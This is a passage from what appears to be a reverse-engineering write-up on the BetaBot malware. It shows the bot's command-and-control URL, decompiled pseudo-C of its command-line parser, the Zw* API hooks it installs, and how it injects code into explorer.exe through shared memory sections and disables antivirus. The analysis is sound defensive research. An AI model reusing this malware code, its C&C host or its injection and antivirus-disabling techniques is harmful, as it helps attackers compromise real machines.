Second layer of encryption:
Notice that the host is still not fully de-obfuscated:
Then, after tracing over this routine, CnC found: notchangeme.su/luck/order.php
Betabot attempts to launch explorer.exe and if that fails it uses wuaudclt.exe. For this walkthrough, Explorer.exe is used. The process is launched by making a direct call to CreateProcessInteralW.
BetaBot check for the following anti-virus programs and disables them if found from the registry key, leaving computers vulnerable to compromise and without receiving AV updates.
int __cdecl Parse_Commands()
{
const WCHAR *szCommandline; // esi@1
int dwCommandLen; // edi@2
LPWSTR *argv; // eax@3
int v3; // edi@6
const WCHAR *v4; // esi@7
int v5; // eax@12
int v6; // eax@27
int v7; // eax@37
char v9; // [sp+0h] [bp-458h]@0
const WCHAR szCommand[522]; // [sp+10h] [bp-448h]@1
char v11; // [sp+424h] [bp-34h]@15
char v12; // [sp+438h] [bp-20h]@44
int v13; // [sp+44Ch] [bp-Ch]@6
int v14; // [sp+450h] [bp-8h]@5
int iNumArgs; // [sp+454h] [bp-4h]@1
// BetaBot Parsing Commands
szCommandline = GetCommandLineW();
iNumArgs = 0;
memset(szCommand, 0, 1040);
if ( szCommandline )
{
dwCommandLen = wcslen((int)szCommandline);
if ( (unsigned int)dwCommandLen >= 3 )
{
lstrcpynW((LPWSTR)szCommand, szCommandline, 519);
CharLowerBuffW((LPWSTR)szCommand, dwCommandLen);
argv = CommandLineToArgvW(szCommand, &iNumArgs);
if ( iNumArgs > 0 )
{
if ( argv )
{
v14 = 0;
if ( iNumArgs > 0 )
{
v3 = (int)(argv + 1);
v13 = (int)(argv + 1);
do
{
v4 = (const WCHAR )((_DWORD )(v3 – 4) + 2);
if ( lstrcmpiW((LPCWSTR)((_DWORD *)(v3 – 4) + 2), L”cp”) )
{
if ( lstrcmpiW(v4, L”testme”) )
{
if ( lstrcmpiW(v4, L”ssp”) )
{
if ( lstrcmpiW(v4, L”suac”) )
{
if ( lstrcmpiW(v4, L”uac”) && lstrcmpiW(v4, L”puac”) )
{
if ( lstrcmpiW(v4, L”nuac”) )
{
if ( lstrcmpiW(v4, L”ron”) )
{
if ( lstrcmpiW(v4, L”task”) && lstrcmpiW(v4, L”un”) && lstrcmpiW(v4, L”dbg”) )
{
if ( lstrcmpiW(v4, L”ins”) )
{
if ( lstrcmpiW(v4, L”ext”) )
{
if ( !lstrcmpiW(v4, L”upd”) )
*(_DWORD *)(large_buffer + 10) |= 0x1000u;
}
else
{
ExitProcess(0);
}
}
else
{
v6 = *(_DWORD *)(large_buffer + 10);
if ( !(v6 & 4) )
*(_DWORD *)(large_buffer + 10) = v6 | 4;
}
}
}
else
{
*(_DWORD *)(large_buffer + 10) |= 0x100u;
}
goto LABEL_49;
}
if ( *(_BYTE *)(large_buffer + 10) & 0x20 )
{
sub_40DFDA(0, 0);
Sleep(0x64u);
sub_423C88();
sub_407EF8();
Sleep(0x384u);
}
}
else
{
if ( *(_BYTE *)(large_buffer + 10) & 0x20 )
{
sub_40DFDA(0, 0);
if ( iNumArgs >= v14 + 1 && **(_WORD **)v3 )
lstrcpynW((LPWSTR)&unk_43EC98, *(LPCWSTR *)v3, 259);
sub_407FD8(0);
v7 = *(_DWORD )(large_buffer + 18);
if ( v7 & 0x200 || v7 & 2 )
ZwTerminateProcess(–1, 0);
Sleep(0xC8u);
if ( lstrcmpiW(v4, L”puac”) )
sub_423C88();
else
sub_423BFE(large_buffer + 5702, 1);
if ( !((_BYTE *)(large_buffer + 18) & 1) )
{
sub_407EF8();
sub_407C19(&v12);
}
if ( sub_403145(off_438A40, “LSF”) & 0x400 )
sub_40494B();
sub_4079DF();
v3 = v13;
}
}
}
else
{
sub_40DFDA(0, 0);
Sleep(0xFA0u);
sub_407FD8(0);
v5 = *(_DWORD *)(large_buffer + 18);
if ( v5 & 0x200 || v5 & 2 )
ZwTerminateProcess(–1, 0);
sub_407EF8();
sub_407C19(&v11);
}
ZwTerminateProcess(–1, 0);
}
}
else
{
PathFindFileNameW((LPCWSTR)(large_buffer + 5054));
sub_40227A(L”Works! PID: %d, Name: %s”, dwProcessId);
sub_40227A(L”Betabot (c) 2012-2014, coded by Userbased”, v9);
}
}
LABEL_49:
++v14;
v3 += 4;
v13 = v3;
}
while ( v14 < iNumArgs );
}
}
}
}
}
return 0;
}
BetaBot takes a copy of the binary that created the initial process from earlier and moves it to “C:Program Filescommon files
The malware applies the Ring 3 hook in two ways. First, the malware adds a pre-operation filter for each of the following Zw* APIs:
ZwCreateFile
ZwOpenFile
ZwDeleteFile
ZwSetInformationFile
ZwQueryDirectoryFile
ZwCreateKey
ZwOpenKey
ZwSetValueKey
ZwOpenProcess
ZwTerminateProcess
ZwCreateThread
ZwCreateThreadEx
ZwResumeThread
ZwSuspendThread
ZwSetContextThread
ZwOpenThread
ZwUnmapViewOfSection
ZwDeviceIoControlFile
ZwQueueApcThread
The malware creates a section by calling ZwCreateSection procedure. The purpose of this is to create a section (of memory) object and to return a handler. This section object represents an area of memory that can be shared. It is accessed through the returned handler. . This handler is used to map views of the memory sections using ZwMapViewOfSection procedure. This procedure maps a view of the memory section in a process. This procedure is called twice using the same handler. Once is for the current process and once is for the remote process (explorer.exe). Now once the memory is mapped it is now possible to read/write to that section. Using the same section handler allows for simultaneous writing to both sections of memory. This means that writing to the section of memory in the local process will also write to the remote process. This avoids the use of functions that raise red flags for anybody that is analyzing the sample. The Betabot code is written to the mapped section of memory in the local process, thus writing it to explorer.exe. Of course, this isn’t enough; something needs to be done to have this code executed in the process. To get code execution ntdll.dll is hooked in the explorer.exe process using the same method. This write-up highlighted some of the methods that BetaBot is using to both obfuscate and inject code. It also covered how to extract the configuration details. There is a broad range of functionality that was not covered (UAC Bypass, Skype stuff, CnC communication, etc.). If we can come back around to this sample, I’d like to highlight those as well.
https://github.com/KenMacD/betabot-re
https://blog.fortinet.com/post/neurevt-bot-analysis
http://vrt-blog.snort.org/2014/05/betabot-process-injection.html